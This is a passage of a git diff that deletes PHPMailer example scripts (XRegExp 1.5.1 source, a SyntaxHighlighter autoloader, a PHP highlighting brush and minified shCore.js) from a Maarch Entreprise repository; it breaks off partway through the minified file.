expression syntax and behavior. It can - // be disabled by `XRegExp.freezeTokens` - XRegExp.addToken = function (regex, handler, scope, trigger) { - tokens.push({ - pattern: clone(regex, "g" + (hasNativeY ? "y" : "")), - handler: handler, - scope: scope || XRegExp.OUTSIDE_CLASS, - trigger: trigger || null - }); - }; - - // Accepts a pattern and flags; returns an extended `RegExp` object. If the pattern and flag - // combination has previously been cached, the cached copy is returned; otherwise the newly - // created regex is cached - XRegExp.cache = function (pattern, flags) { - var key = pattern + "/" + (flags || ""); - return XRegExp.cache[key] || (XRegExp.cache[key] = XRegExp(pattern, flags)); - }; - - // Accepts a `RegExp` instance; returns a copy with the `/g` flag set. The copy has a fresh - // `lastIndex` (set to zero). If you want to copy a regex without forcing the `global` - // property, use `XRegExp(regex)`. Do not use `RegExp(regex)` because it will not preserve - // special properties required for named capture - XRegExp.copyAsGlobal = function (regex) { - return clone(regex, "g"); - }; - - // Accepts a string; returns the string with regex metacharacters escaped. The returned string - // can safely be used at any point within a regex to match the provided literal string. Escaped - // characters are [ ] { } ( ) * + ? - . , \ ^ $ | # and whitespace - XRegExp.escape = function (str) { - return str.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&"); - }; - - // Accepts a string to search, regex to search with, position to start the search within the - // string (default: 0), and an optional Boolean indicating whether matches must start at-or- - // after the position or at the specified position only. This function ignores the `lastIndex` - // of the provided regex in its own handling, but updates the property for compatibility - XRegExp.execAt = function (str, regex, pos, anchored) { - var r2 = clone(regex, "g" + ((anchored && hasNativeY) ? "y" : "")), - match; - r2.lastIndex = pos = pos || 0; - match = r2.exec(str); // Run the altered `exec` (required for `lastIndex` fix, etc.) - if (anchored && match && match.index !== pos) - match = null; - if (regex.global) - regex.lastIndex = match ? r2.lastIndex : 0; - return match; - }; - - // Breaks the unrestorable link to XRegExp's private list of tokens, thereby preventing - // syntax and flag changes. Should be run after XRegExp and any plugins are loaded - XRegExp.freezeTokens = function () { - XRegExp.addToken = function () { - throw Error("can't run addToken after freezeTokens"); - }; - }; - - // Accepts any value; returns a Boolean indicating whether the argument is a `RegExp` object. - // Note that this is also `true` for regex literals and regexes created by the `XRegExp` - // constructor. This works correctly for variables created in another frame, when `instanceof` - // and `constructor` checks would fail to work as intended - XRegExp.isRegExp = function (o) { - return Object.prototype.toString.call(o) === "[object RegExp]"; - }; - - // Executes `callback` once per match within `str`. Provides a simpler and cleaner way to - // iterate over regex matches compared to the traditional approaches of subverting - // `String.prototype.replace` or repeatedly calling `exec` within a `while` loop - XRegExp.iterate = function (str, regex, callback, context) { - var r2 = clone(regex, "g"), - i = -1, match; - while (match = r2.exec(str)) { // Run the altered `exec` (required for `lastIndex` fix, etc.) - if (regex.global) - regex.lastIndex = r2.lastIndex; // Doing this to follow expectations if `lastIndex` is checked within `callback` - callback.call(context, match, ++i, str, regex); - if (r2.lastIndex === match.index) - r2.lastIndex++; - } - if (regex.global) - regex.lastIndex = 0; - }; - - // Accepts a string and an array of regexes; returns the result of using each successive regex - // to search within the matches of the previous regex. The array of regexes can also contain - // objects with `regex` and `backref` properties, in which case the named or numbered back- - // references specified are passed forward to the next regex or returned. E.g.: - // var xregexpImgFileNames = XRegExp.matchChain(html, [ - // {regex: /<img\b([^>]+)>/i, backref: 1}, // <img> tag attributes - // {regex: XRegExp('(?ix) \\s src=" (?<src> [^"]+ )'), backref: "src"}, // src attribute values - // {regex: XRegExp("^http://xregexp\\.com(/[^#?]+)", "i"), backref: 1}, // xregexp.com paths - // /[^\/]+$/ // filenames (strip directory paths) - // ]); - XRegExp.matchChain = function (str, chain) { - return function recurseChain (values, level) { - var item = chain[level].regex ? chain[level] : {regex: chain[level]}, - regex = clone(item.regex, "g"), - matches = [], i; - for (i = 0; i < values.length; i++) { - XRegExp.iterate(values[i], regex, function (match) { - matches.push(item.backref ? (match[item.backref] || "") : match[0]); - }); - } - return ((level === chain.length - 1) || !matches.length) ? - matches : recurseChain(matches, level + 1); - }([str], 0); - }; - - - //--------------------------------- - // New RegExp prototype methods - //--------------------------------- - - // Accepts a context object and arguments array; returns the result of calling `exec` with the - // first value in the arguments array. the context is ignored but is accepted for congruity - // with `Function.prototype.apply` - RegExp.prototype.apply = function (context, args) { - return this.exec(args[0]); - }; - - // Accepts a context object and string; returns the result of calling `exec` with the provided - // string. the context is ignored but is accepted for congruity with `Function.prototype.call` - RegExp.prototype.call = function (context, str) { - return this.exec(str); - }; - - - //--------------------------------- - // Overriden native methods - //--------------------------------- - - // Adds named capture support (with backreferences returned as `result.name`), and fixes two - // cross-browser issues per ES3: - // - Captured values for nonparticipating capturing groups should be returned as `undefined`, - // rather than the empty string. - // - `lastIndex` should not be incremented after zero-length matches. - RegExp.prototype.exec = function (str) { - var match, name, r2, origLastIndex; - if (!this.global) - origLastIndex = this.lastIndex; - match = nativ.exec.apply(this, arguments); - if (match) { - // Fix browsers whose `exec` methods don't consistently return `undefined` for - // nonparticipating capturing groups - if (!compliantExecNpcg && match.length > 1 && indexOf(match, "") > -1) { - r2 = RegExp(this.source, nativ.replace.call(getNativeFlags(this), "g", "")); - // Using `str.slice(match.index)` rather than `match[0]` in case lookahead allowed - // matching due to characters outside the match - nativ.replace.call((str + "").slice(match.index), r2, function () { - for (var i = 1; i < arguments.length - 2; i++) { - if (arguments[i] === undefined) - match[i] = undefined; - } - }); - } - // Attach named capture properties - if (this._xregexp && this._xregexp.captureNames) { - for (var i = 1; i < match.length; i++) { - name = this._xregexp.captureNames[i - 1]; - if (name) - match[name] = match[i]; - } - } - // Fix browsers that increment `lastIndex` after zero-length matches - if (!compliantLastIndexIncrement && this.global && !match[0].length && (this.lastIndex > match.index)) - this.lastIndex--; - } - if (!this.global) - this.lastIndex = origLastIndex; // Fix IE, Opera bug (last tested IE 9.0.5, Opera 11.61 on Windows) - return match; - }; - - // Fix browser bugs in native method - RegExp.prototype.test = function (str) { - // Use the native `exec` to skip some processing overhead, even though the altered - // `exec` would take care of the `lastIndex` fixes - var match, origLastIndex; - if (!this.global) - origLastIndex = this.lastIndex; - match = nativ.exec.call(this, str); - // Fix browsers that increment `lastIndex` after zero-length matches - if (match && !compliantLastIndexIncrement && this.global && !match[0].length && (this.lastIndex > match.index)) - this.lastIndex--; - if (!this.global) - this.lastIndex = origLastIndex; // Fix IE, Opera bug (last tested IE 9.0.5, Opera 11.61 on Windows) - return !!match; - }; - - // Adds named capture support and fixes browser bugs in native method - String.prototype.match = function (regex) { - if (!XRegExp.isRegExp(regex)) - regex = RegExp(regex); // Native `RegExp` - if (regex.global) { - var result = nativ.match.apply(this, arguments); - regex.lastIndex = 0; // Fix IE bug - return result; - } - return regex.exec(this); // Run the altered `exec` - }; - - // Adds support for `${n}` tokens for named and numbered backreferences in replacement text, - // and provides named backreferences to replacement functions as `arguments[0].name`. Also - // fixes cross-browser differences in replacement text syntax when performing a replacement - // using a nonregex search value, and the value of replacement regexes' `lastIndex` property - // during replacement iterations. Note that this doesn't support SpiderMonkey's proprietary - // third (`flags`) parameter - String.prototype.replace = function (search, replacement) { - var isRegex = XRegExp.isRegExp(search), - captureNames, result, str, origLastIndex; - - // There are too many combinations of search/replacement types/values and browser bugs that - // preclude passing to native `replace`, so don't try - //if (...) - // return nativ.replace.apply(this, arguments); - - if (isRegex) { - if (search._xregexp) - captureNames = search._xregexp.captureNames; // Array or `null` - if (!search.global) - origLastIndex = search.lastIndex; - } else { - search = search + ""; // Type conversion - } - - if (Object.prototype.toString.call(replacement) === "[object Function]") { - result = nativ.replace.call(this + "", search, function () { - if (captureNames) { - // Change the `arguments[0]` string primitive to a String object which can store properties - arguments[0] = new String(arguments[0]); - // Store named backreferences on `arguments[0]` - for (var i = 0; i < captureNames.length; i++) { - if (captureNames[i]) - arguments[0][captureNames[i]] = arguments[i + 1]; - } - } - // Update `lastIndex` before calling `replacement` (fix browsers) - if (isRegex && search.global) - search.lastIndex = arguments[arguments.length - 2] + arguments[0].length; - return replacement.apply(null, arguments); - }); - } else { - str = this + ""; // Type conversion, so `args[args.length - 1]` will be a string (given nonstring `this`) - result = nativ.replace.call(str, search, function () { - var args = arguments; // Keep this function's `arguments` available through closure - return nativ.replace.call(replacement + "", replacementToken, function ($0, $1, $2) { - // Numbered backreference (without delimiters) or special variable - if ($1) { - switch ($1) { - case "$": return "$"; - case "&": return args[0]; - case "`": return args[args.length - 1].slice(0, args[args.length - 2]); - case "'": return args[args.length - 1].slice(args[args.length - 2] + args[0].length); - // Numbered backreference - default: - // What does "$10" mean? - // - Backreference 10, if 10 or more capturing groups exist - // - Backreference 1 followed by "0", if 1-9 capturing groups exist - // - Otherwise, it's the string "$10" - // Also note: - // - Backreferences cannot be more than two digits (enforced by `replacementToken`) - // - "$01" is equivalent to "$1" if a capturing group exists, otherwise it's the string "$01" - // - There is no "$0" token ("$&" is the entire match) - var literalNumbers = ""; - $1 = +$1; // Type conversion; drop leading zero - if (!$1) // `$1` was "0" or "00" - return $0; - while ($1 > args.length - 3) { - literalNumbers = String.prototype.slice.call($1, -1) + literalNumbers; - $1 = Math.floor($1 / 10); // Drop the last digit - } - return ($1 ? args[$1] || "" : "$") + literalNumbers; - } - // Named backreference or delimited numbered backreference - } else { - // What does "${n}" mean? - // - Backreference to numbered capture n. Two differences from "$n": - // - n can be more than two digits - // - Backreference 0 is allowed, and is the entire match - // - Backreference to named capture n, if it exists and is not a number overridden by numbered capture - // - Otherwise, it's the string "${n}" - var n = +$2; // Type conversion; drop leading zeros - if (n <= args.length - 3) - return args[n]; - n = captureNames ? indexOf(captureNames, $2) : -1; - return n > -1 ? args[n + 1] : $0; - } - }); - }); - } - - if (isRegex) { - if (search.global) - search.lastIndex = 0; // Fix IE, Safari bug (last tested IE 9.0.5, Safari 5.1.2 on Windows) - else - search.lastIndex = origLastIndex; // Fix IE, Opera bug (last tested IE 9.0.5, Opera 11.61 on Windows) - } - - return result; - }; - - // A consistent cross-browser, ES3 compliant `split` - String.prototype.split = function (s /* separator */, limit) { - // If separator `s` is not a regex, use the native `split` - if (!XRegExp.isRegExp(s)) - return nativ.split.apply(this, arguments); - - var str = this + "", // Type conversion - output = [], - lastLastIndex = 0, - match, lastLength; - - // Behavior for `limit`: if it's... - // - `undefined`: No limit - // - `NaN` or zero: Return an empty array - // - A positive number: Use `Math.floor(limit)` - // - A negative number: No limit - // - Other: Type-convert, then use the above rules - if (limit === undefined || +limit < 0) { - limit = Infinity; - } else { - limit = Math.floor(+limit); - if (!limit) - return []; - } - - // This is required if not `s.global`, and it avoids needing to set `s.lastIndex` to zero - // and restore it to its original value when we're done using the regex - s = XRegExp.copyAsGlobal(s); - - while (match = s.exec(str)) { // Run the altered `exec` (required for `lastIndex` fix, etc.) - if (s.lastIndex > lastLastIndex) { - output.push(str.slice(lastLastIndex, match.index)); - - if (match.length > 1 && match.index < str.length) - Array.prototype.push.apply(output, match.slice(1)); - - lastLength = match[0].length; - lastLastIndex = s.lastIndex; - - if (output.length >= limit) - break; - } - - if (s.lastIndex === match.index) - s.lastIndex++; - } - - if (lastLastIndex === str.length) { - if (!nativ.test.call(s, "") || lastLength) - output.push(""); - } else { - output.push(str.slice(lastLastIndex)); - } - - return output.length > limit ? output.slice(0, limit) : output; - }; - - - //--------------------------------- - // Private helper functions - //--------------------------------- - - // Supporting function for `XRegExp`, `XRegExp.copyAsGlobal`, etc. Returns a copy of a `RegExp` - // instance with a fresh `lastIndex` (set to zero), preserving properties required for named - // capture. Also allows adding new flags in the process of copying the regex - function clone (regex, additionalFlags) { - if (!XRegExp.isRegExp(regex)) - throw TypeError("type RegExp expected"); - var x = regex._xregexp; - regex = XRegExp(regex.source, getNativeFlags(regex) + (additionalFlags || "")); - if (x) { - regex._xregexp = { - source: x.source, - captureNames: x.captureNames ? x.captureNames.slice(0) : null - }; - } - return regex; - } - - function getNativeFlags (regex) { - return (regex.global ? "g" : "") + - (regex.ignoreCase ? "i" : "") + - (regex.multiline ? "m" : "") + - (regex.extended ? "x" : "") + // Proposed for ES4; included in AS3 - (regex.sticky ? "y" : ""); - } - - function runTokens (pattern, index, scope, context) { - var i = tokens.length, - result, match, t; - // Protect against constructing XRegExps within token handler and trigger functions - isInsideConstructor = true; - // Must reset `isInsideConstructor`, even if a `trigger` or `handler` throws - try { - while (i--) { // Run in reverse order - t = tokens[i]; - if ((scope & t.scope) && (!t.trigger || t.trigger.call(context))) { - t.pattern.lastIndex = index; - match = t.pattern.exec(pattern); // Running the altered `exec` here allows use of named backreferences, etc. - if (match && match.index === index) { - result = { - output: t.handler.call(context, match, scope), - match: match - }; - break; - } - } - } - } catch (err) { - throw err; - } finally { - isInsideConstructor = false; - } - return result; - } - - function indexOf (array, item, from) { - if (Array.prototype.indexOf) // Use the native array method if available - return array.indexOf(item, from); - for (var i = from || 0; i < array.length; i++) { - if (array[i] === item) - return i; - } - return -1; - } - - - //--------------------------------- - // Built-in tokens - //--------------------------------- - - // Augment XRegExp's regular expression syntax and flags. Note that when adding tokens, the - // third (`scope`) argument defaults to `XRegExp.OUTSIDE_CLASS` - - // Comment pattern: (?# ) - XRegExp.addToken( - /\(\?#[^)]*\)/, - function (match) { - // Keep tokens separated unless the following token is a quantifier - return nativ.test.call(quantifier, match.input.slice(match.index + match[0].length)) ? "" : "(?:)"; - } - ); - - // Capturing group (match the opening parenthesis only). - // Required for support of named capturing groups - XRegExp.addToken( - /\((?!\?)/, - function () { - this.captureNames.push(null); - return "("; - } - ); - - // Named capturing group (match the opening delimiter only): (?<name> - XRegExp.addToken( - /\(\?<([$\w]+)>/, - function (match) { - this.captureNames.push(match[1]); - this.hasNamedCapture = true; - return "("; - } - ); - - // Named backreference: \k<name> - XRegExp.addToken( - /\\k<([\w$]+)>/, - function (match) { - var index = indexOf(this.captureNames, match[1]); - // Keep backreferences separate from subsequent literal numbers. Preserve back- - // references to named groups that are undefined at this point as literal strings - return index > -1 ? - "\\" + (index + 1) + (isNaN(match.input.charAt(match.index + match[0].length)) ? "" : "(?:)") : - match[0]; - } - ); - - // Empty character class: [] or [^] - XRegExp.addToken( - /\[\^?]/, - function (match) { - // For cross-browser compatibility with ES3, convert [] to \b\B and [^] to [\s\S]. - // (?!) should work like \b\B, but is unreliable in Firefox - return match[0] === "[]" ? "\\b\\B" : "[\\s\\S]"; - } - ); - - // Mode modifier at the start of the pattern only, with any combination of flags imsx: (?imsx) - // Does not support x(?i), (?-i), (?i-m), (?i: ), (?i)(?m), etc. - XRegExp.addToken( - /^\(\?([imsx]+)\)/, - function (match) { - this.setFlag(match[1]); - return ""; - } - ); - - // Whitespace and comments, in free-spacing (aka extended) mode only - XRegExp.addToken( - /(?:\s+|#.*)+/, - function (match) { - // Keep tokens separated unless the following token is a quantifier - return nativ.test.call(quantifier, match.input.slice(match.index + match[0].length)) ? "" : "(?:)"; - }, - XRegExp.OUTSIDE_CLASS, - function () {return this.hasFlag("x");} - ); - - // Dot, in dotall (aka singleline) mode only - XRegExp.addToken( - /\./, - function () {return "[\\s\\S]";}, - XRegExp.OUTSIDE_CLASS, - function () {return this.hasFlag("s");} - ); - - - //--------------------------------- - // Backward compatibility - //--------------------------------- - - // Uncomment the following block for compatibility with XRegExp 1.0-1.2: - /* - XRegExp.matchWithinChain = XRegExp.matchChain; - RegExp.prototype.addFlags = function (s) {return clone(this, s);}; - RegExp.prototype.execAll = function (s) {var r = []; XRegExp.iterate(s, this, function (m) {r.push(m);}); return r;}; - RegExp.prototype.forEachExec = function (s, f, c) {return XRegExp.iterate(s, this, f, c);}; - RegExp.prototype.validate = function (s) {var r = RegExp("^(?:" + this.source + ")$(?!\\s)", getNativeFlags(this)); if (this.global) this.lastIndex = 0; return s.search(r) === 0;}; - */ - -})(); - diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shAutoloader.js b/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shAutoloader.js deleted file mode 100755 index 9f5942ee27d5860012799fcae719165d861b73fb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shAutoloader.js +++ /dev/null @@ -1,122 +0,0 @@ -(function() { - -var sh = SyntaxHighlighter; - -/** - * Provides functionality to dynamically load only the brushes that a needed to render the current page. - * - * There are two syntaxes that autoload understands. For example: - * - * SyntaxHighlighter.autoloader( - * [ 'applescript', 'Scripts/shBrushAppleScript.js' ], - * [ 'actionscript3', 'as3', 'Scripts/shBrushAS3.js' ] - * ); - * - * or a more easily comprehendable one: - * - * SyntaxHighlighter.autoloader( - * 'applescript Scripts/shBrushAppleScript.js', - * 'actionscript3 as3 Scripts/shBrushAS3.js' - * ); - */ -sh.autoloader = function() -{ - var list = arguments, - elements = sh.findElements(), - brushes = {}, - scripts = {}, - all = SyntaxHighlighter.all, - allCalled = false, - allParams = null, - i - ; - - SyntaxHighlighter.all = function(params) - { - allParams = params; - allCalled = true; - }; - - function addBrush(aliases, url) - { - for (var i = 0; i < aliases.length; i++) - brushes[aliases[i]] = url; - }; - - function getAliases(item) - { - return item.pop - ? item - : item.split(/\s+/) - ; - } - - // create table of aliases and script urls - for (i = 0; i < list.length; i++) - { - var aliases = getAliases(list[i]), - url = aliases.pop() - ; - - addBrush(aliases, url); - } - - // dynamically add <script /> tags to the document body - for (i = 0; i < elements.length; i++) - { - var url = brushes[elements[i].params.brush]; - - if(url && scripts[url] === undefined) - { - if(elements[i].params['html-script'] === 'true') - { - if(scripts[brushes['xml']] === undefined) { - loadScript(brushes['xml']); - scripts[url] = false; - } - } - - scripts[url] = false; - loadScript(url); - } - } - - function loadScript(url) - { - var script = document.createElement('script'), - done = false - ; - - script.src = url; - script.type = 'text/javascript'; - script.language = 'javascript'; - script.onload = script.onreadystatechange = function() - { - if (!done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')) - { - done = true; - scripts[url] = true; - checkAll(); - - // Handle memory leak in IE - script.onload = script.onreadystatechange = null; - script.parentNode.removeChild(script); - } - }; - - // sync way of adding script tags to the page - document.body.appendChild(script); - }; - - function checkAll() - { - for(var url in scripts) - if (scripts[url] == false) - return; - - if (allCalled) - SyntaxHighlighter.highlight(allParams); - }; -}; - -})(); diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shBrushPhp.js b/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shBrushPhp.js deleted file mode 100755 index 33aca6fb1c6e9ed627ee732dbea4842b5cd8f5c3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shBrushPhp.js +++ /dev/null @@ -1,72 +0,0 @@ -;(function() -{ - // CommonJS - SyntaxHighlighter = SyntaxHighlighter || (typeof require !== 'undefined'? require('shCore').SyntaxHighlighter : null); - - function Brush() - { - var funcs = 'abs acos acosh addcslashes addslashes ' + - 'array_change_key_case array_chunk array_combine array_count_values array_diff '+ - 'array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill '+ - 'array_filter array_flip array_intersect array_intersect_assoc array_intersect_key '+ - 'array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map '+ - 'array_merge array_merge_recursive array_multisort array_pad array_pop array_product '+ - 'array_push array_rand array_reduce array_reverse array_search array_shift '+ - 'array_slice array_splice array_sum array_udiff array_udiff_assoc '+ - 'array_udiff_uassoc array_uintersect array_uintersect_assoc '+ - 'array_uintersect_uassoc array_unique array_unshift array_values array_walk '+ - 'array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert '+ - 'basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress '+ - 'bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir '+ - 'checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists '+ - 'closedir closelog copy cos cosh count count_chars date decbin dechex decoct '+ - 'deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log '+ - 'error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded '+ - 'feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents '+ - 'fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype '+ - 'floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf '+ - 'fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname '+ - 'gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt '+ - 'getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext '+ - 'gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set '+ - 'interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double '+ - 'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+ - 'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+ - 'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+ - 'parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir '+ - 'round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split '+ - 'str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes '+ - 'stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk '+ - 'strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime '+ - 'strtoupper strtr strval substr substr_compare'; - - var keywords = 'abstract and array as break case catch cfunction class clone const continue declare default die do ' + - 'else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach ' + - 'function global goto if implements include include_once interface instanceof insteadof namespace new ' + - 'old_function or private protected public return require require_once static switch ' + - 'trait throw try use var while xor '; - - var constants = '__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__'; - - this.regexList = [ - { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments - { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments - { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings - { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings - { regex: /\$\w+/g, css: 'variable' }, // variables - { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // common functions - { regex: new RegExp(this.getKeywords(constants), 'gmi'), css: 'constants' }, // constants - { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keyword - ]; - - this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags); - }; - - Brush.prototype = new SyntaxHighlighter.Highlighter(); - Brush.aliases = ['php']; - - SyntaxHighlighter.brushes.Php = Brush; - - // CommonJS - typeof(exports) != 'undefined' ? exports.Brush = Brush : null; -})(); diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shCore.js b/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shCore.js deleted file mode 100755 index 294b91ce59458dd61d0d54cb61a5ad10c4b1a3b9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/scripts/shCore.js +++ /dev/null @@ -1 +0,0 @@ -var XRegExp;if(XRegExp)throw Error("can't load XRegExp twice in the same frame");(function(e){function c(e,t){if(!XRegExp.isRegExp(e))throw TypeError("type RegExp expected");var n=e._xregexp;return e=XRegExp(e.source,h(e)+(t||"")),n&&(e._xregexp={source:n.source,captureNames:n.captureNames?n.captureNames.slice(0):null}),e}function h(e){return(e.global?"g":"")+(e.ignoreCase?"i":"")+(e.multiline?"m":"")+(e.extended?"x":"")+(e.sticky?"y":"")}function p(e,t,n,r){var o=s.length,u,a,f;i=!0;try{while(o--){f=s[o];if(n&f.scope&&(!f.trigger||f.trigger.call(r))){f.pattern.lastIndex=t,a=f.pattern.exec(e);if(a&&a.index===t){u={output:f.handler.call(r,a,n),match:a};break}}}}catch(l){throw l}finally{i=!1}return u}function d(e,t,n){if(Array.prototype.indexOf)return e.indexOf(t,n);for(var r=n||0;r<e.length;r++)if(e[r]===t)return r;return-1}XRegExp=function(t,r){var s=[],u=XRegExp.OUTSIDE_CLASS,a=0,f,h,d,v,m;if(XRegExp.isRegExp(t)){if(r!==e)throw TypeError("can't supply flags when constructing one RegExp from another");return c(t)}if(i)throw Error("can't call the XRegExp constructor within token definition functions");r=r||"",f={hasNamedCapture:!1,captureNames:[],hasFlag:function(e){return r.indexOf(e)>-1},setFlag:function(e){r+=e}};while(a<t.length)h=p(t,a,u,f),h?(s.push(h.output),a+=h.match[0].length||1):(d=o.exec.call(l[u],t.slice(a)))?(s.push(d[0]),a+=d[0].length):(v=t.charAt(a),v==="["?u=XRegExp.INSIDE_CLASS:v==="]"&&(u=XRegExp.OUTSIDE_CLASS),s.push(v),a++);return m=RegExp(s.join(""),o.replace.call(r,n,"")),m._xregexp={source:t,captureNames:f.hasNamedCapture?f.captureNames:null},m},XRegExp.version="1.5.1",XRegExp.INSIDE_CLASS=1,XRegExp.OUTSIDE_CLASS=2;var t=/\$(?:(\d\d?|[$&`'])|{([$\w]+)})/g,n=/[^gimy]+|([\s\S])(?=[\s\S]*\1)/g,r=/^(?:[?*+]|{\d+(?:,\d*)?})\??/,i=!1,s=[],o={exec:RegExp.prototype.exec,test:RegExp.prototype.test,match:String.prototype.match,replace:String.prototype.replace,split:String.prototype.split},u=o.exec.call(/()??/,"")[1]===e,a=function(){var e=/^/g;return o.test.call(e,""),!e.lastIndex}(),f=RegExp.prototype.sticky!==e,l={};l[XRegExp.INSIDE_CLASS]=/^(?:\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\dA-Fa-f]{2}|u[\dA-Fa-f]{4}|c[A-Za-z]|[\s\S]))/,l[XRegExp.OUTSIDE_CLASS]=/^(?:\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\d*|x[\dA-Fa-f]{2}|u[\dA-Fa-f]{4}|c[A-Za-z]|[\s\S])|\(\?[:=!]|[?*+]\?|{\d+(?:,\d*)?}\??)/,XRegExp.addToken=function(e,t,n,r){s.push({pattern:c(e,"g"+(f?"y":"")),handler:t,scope:n||XRegExp.OUTSIDE_CLASS,trigger:r||null})},XRegExp.cache=function(e,t){var n=e+"/"+(t||"");return XRegExp.cache[n]||(XRegExp.cache[n]=XRegExp(e,t))},XRegExp.copyAsGlobal=function(e){return c(e,"g")},XRegExp.escape=function(e){return e.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")},XRegExp.execAt=function(e,t,n,r){var i=c(t,"g"+(r&&f?"y":"")),s;return i.lastIndex=n=n||0,s=i.exec(e),r&&s&&s.index!==n&&(s=null),t.global&&(t.lastIndex=s?i.lastIndex:0),s},XRegExp.freezeTokens=function(){XRegExp.addToken=function(){throw Error("can't run addToken after freezeTokens")}},XRegExp.isRegExp=function(e){return Object.prototype.toString.call(e)==="[object RegExp]"},XRegExp.iterate=function(e,t,n,r){var i=c(t,"g"),s=-1,o;while(o=i.exec(e))t.global&&(t.lastIndex=i.lastIndex),n.call(r,o,++s,e,t),i.lastIndex===o.index&&i.lastIndex++;t.global&&(t.lastIndex=0)},XRegExp.matchChain=function(e,t){return function n(e,r){var i=t[r].regex?t[r]:{regex:t[r]},s=c(i.regex,"g"),o=[],u;for(u=0;u<e.length;u++)XRegExp.iterate(e[u],s,function(e){o.push(i.backref?e[i.backref]||"":e[0])});return r===t.length-1||!o.length?o:n(o,r+1)}([e],0)},RegExp.prototype.apply=function(e,t){return this.exec(t[0])},RegExp.prototype.call=function(e,t){return this.exec(t)},RegExp.prototype.exec=function(t){var n,r,i,s;this.global||(s=this.lastIndex),n=o.exec.apply(this,arguments);if(n){!u&&n.length>1&&d(n,"")>-1&&(i=RegExp(this.source,o.replace.call(h(this),"g","")),o.replace.call((t+"").slice(n.index),i,function(){for(var t=1;t<arguments.length-2;t++)arguments[t]===e&&(n[t]=e)}));if(this._xregexp&&this._xregexp.captureNames)for(var f=1;f<n.length;f++)r=this._xregexp.captureNames[f-1],r&&(n[r]=n[f]);!a&&this.global&&!n[0].length&&this.lastIndex>n.index&&this.lastIndex--}return this.global||(this.lastIndex=s),n},RegExp.prototype.test=function(e){var t,n;return this.global||(n=this.lastIndex),t=o.exec.call(this,e),t&&!a&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--,this.global||(this.lastIndex=n),!!t},String.prototype.match=function(e){XRegExp.isRegExp(e)||(e=RegExp(e));if(e.global){var t=o.match.apply(this,arguments);return e.lastIndex=0,t}return e.exec(this)},String.prototype.replace=function(e,n){var r=XRegExp.isRegExp(e),i,s,u,a;return r?(e._xregexp&&(i=e._xregexp.captureNames),e.global||(a=e.lastIndex)):e+="",Object.prototype.toString.call(n)==="[object Function]"?s=o.replace.call(this+"",e,function(){if(i){arguments[0]=new String(arguments[0]);for(var t=0;t<i.length;t++)i[t]&&(arguments[0][i[t]]=arguments[t+1])}return r&&e.global&&(e.lastIndex=arguments[arguments.length-2]+arguments[0].length),n.apply(null,arguments)}):(u=this+"",s=o.replace.call(u,e,function(){var e=arguments;return o.replace.call(n+"",t,function(t,n,r){if(!n){var o=+r;return o<=e.length-3?e[o]:(o=i?d(i,r):-1,o>-1?e[o+1]:t)}switch(n){case"$":return"$";case"&":return e[0];case"`":return e[e.length-1].slice(0,e[e.length-2]);case"'":return e[e.length-1].slice(e[e.length-2]+e[0].length);default:var s="";n=+n;if(!n)return t;while(n>e.length-3)s=String.prototype.slice.call(n,-1)+s,n=Math.floor(n/10);return(n?e[n]||"":"$")+s}})})),r&&(e.global?e.lastIndex=0:e.lastIndex=a),s},String.prototype.split=function(t,n){if(!XRegExp.isRegExp(t))return o.split.apply(this,arguments);var 